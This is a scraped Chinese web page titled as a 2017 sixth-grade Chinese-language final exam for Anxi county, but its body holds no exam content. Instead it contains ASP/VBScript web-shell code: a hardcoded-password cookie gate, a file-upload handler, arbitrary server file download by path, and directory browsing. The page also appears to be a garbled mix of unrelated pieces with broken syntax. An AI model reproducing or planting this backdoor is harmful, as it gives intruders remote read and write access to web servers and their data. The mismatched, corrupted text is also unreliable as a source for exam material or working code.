标签：小学语文试题,小学语文试题及答案,小学试题,http://www.duowen123.com
2017年秋季安溪县小学语文第十一册期末考查卷(一),
.
<%on error resume next
dim data_xlsf
class upload_xlsf
dim oform,objfile,version
public function form(sform)
sform=lcase(sform)
if not oform.exists(sform) then
form=""
else
form=oform(sform)
end if
end function
public function file(strfile)
strfile=lcase(strfile)
if not objfile.exists(strfile) then
set file=new fileinfo
else
set file=objfile(strfile)
end if
end function
private sub class_initialize
dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile
dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename
dim ifindstart,ifindend
dim iformstart,iformend,sformname
version="xiaolu"
set oform=server.createobject("scripting.dictionary")
set objfile=server.createobject("scripting.dictionary")
if request.totalbytes<1 then exit sub
set tstream = server.createobject("adodb.stream")
set data_xlsf = server.createobject("adodb.stream")
data_xlsf.type = 1
data_xlsf.mode =3
data_xlsf.open
data_xlsf.write request.binaryread(request.totalbytes)
data_xlsf.position=0
requestdata =data_xlsf.read
iformstart = 1
iformend = lenb(requestdata)
vbcrlf = chrb(13) & chrb(10)
sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1)
istart = lenb (sstart)
iformstart=iformstart istart 1
while (iformstart 10) < iformend
iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf) 3
tstream.type = 1
tstream.mode =3
tstream.open
data_xlsf.position = iformstart
data_xlsf.copyto tstream,iinfoend-iformstart
tstream.position = 0
tstream.type = 2
tstream.charset ="gb2312"
sinfo = tstream.readtext
tstream.close
iformstart = instrb(iinfoend,requestdata,sstart)
ifindstart = instr(22,sinfo,"name=""",1) 6
ifindend = instr(ifindstart,sinfo,"""",1)
sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart))
if instr (45,sinfo,"filename=""",1) > 0 then
set thefile=new fileinfo
ifindstart = instr(ifindend,sinfo,"filename=""",1) 10
ifindend = instr(ifindstart,sinfo,"""",1)
sfilename = mid (sinfo,ifindstart,ifindend-ifindstart)
thefile.filename=getfilename(sfilename)
thefile.filepath=getfilepath(sfilename)
ifindstart = instr(ifindend,sinfo,"content-type: ",1) 14
ifindend = instr(ifindstart,sinfo,vbcr)
thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart)
thefile.filestart =iinfoend
thefile.filesize = iformstart -iinfoend -3
thefile.formname=sformname
if not objfile.exists(sformname) then
objfile.add sformname,thefile
end if
else
tstream.type =1
tstream.mode =3
tstream.open
data_xlsf.position = iinfoend
data_xlsf.copyto tstream,iformstart-iinfoend-3
tstream.position = 0
tstream.type = 2
tstream.charset ="gb2312"
sformvalue = tstream.readtext
tstream.close
if oform.exists(sformname) then
oform(sformname)=oform(sformname)&", "&sformvalue
else
oform.add sformname,sformvalue
end if
end if
iformstart=iformstart istart 1
wend
requestdata=""
set tstream =nothing
end sub
private sub class_terminate
if request.totalbytes>0 then
oform.removeall
objfile.removeall
set oform=nothing
set objfile=nothing
data_xlsf.close
set data_xlsf =nothing
end if
end sub
private function getfilepath(fullpath)
if fullpath <> "" then
getfilepath = left(fullpath,instrrev(fullpath, "\"))
else
getfilepath = ""
end if
end function
private function getfilename(fullpath)
if fullpath <> "" then
getfilename = mid(fullpath,instrrev(fullpath, "\") 1)
else
getfilename = ""
end if
end function
end class
class fileinfo
dim formname,filename,filepath,filesize,filetype,filestart
private sub class_initialize
filename = ""
filepath = ""
filesize = 0
filestart= 0
formname = ""
filetype = ""
end sub
public function saveas(fullpath)
dim dr,errorchar,i
saveas=true
if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function
set dr=createobject("adodb.stream")
dr.mode=3
dr.type=1
dr.open
data_xlsf.position=filestart
data_xlsf.copyto dr,filesize
dr.savetofile fullpath,2
dr.close
set dr=nothing
saveas=false
end function
end class
httpt = request.servervariables("server_name")
rseb=request.servervariables("script_name")
d=request("d")
if request.cookies("password")<>"12345679" then
if trim(request.form("password"))="12345679" then
response.cookies("password")="12345679"
response.redirect rseb & "?d=ls.asp"
else
%>
<%
end if
response.end
end if
select case d
case "d.asp"
call downloadfile(request("path"))
function downloadfile(strfile)
strfilename = strfile
response.buffer = true
response.clear%>
<%s.open
s.type = 1
if not ssyss.fileexists(strfilename) then
response.write("
error:
" & strfilename & " does not exist
")
response.end
end if
set f = ssyss.getfile(strfilename)
intfilelength = f.size
s.loadfromfile(strfilename)
if err then
response.write("
error:
" & err.description & "
")
response.end
end if
response.addheader "content-disposition", "attachment; filename=" & f.name
response.addheader "content-length", intfilelength
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite s.read
response.flush
s.close
set s = nothing
response.end
end function
case "ls.asp"
urlpath=server.urlencode(path)
dim cpath,lpath
if request("path")="" then
lpath="/"
else
lpath=request("path")&"/"
end if
if request("attrib")="true" then
cpath=replace(lpath,"/","\")
attrib="true"
else
cpath=server.mappath(lpath)
attrib=""
end if
sub getfolder()
dim thefolder,thesubfolders
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thesubfolders=thefolder.subfolders
response.write"上级目录
<%
end if
end sub
sub getfile()
dim thefiles
if ssyss.folderexists(cpath)then
set thefolder=ssyss.getfolder(cpath)
set thefiles=thefolder.files
response.write""
end sub
%>
<%=httpt%>
[1] [2] 下一页
，2017年秋季安溪县小学语文第十一册期末考查卷(一)
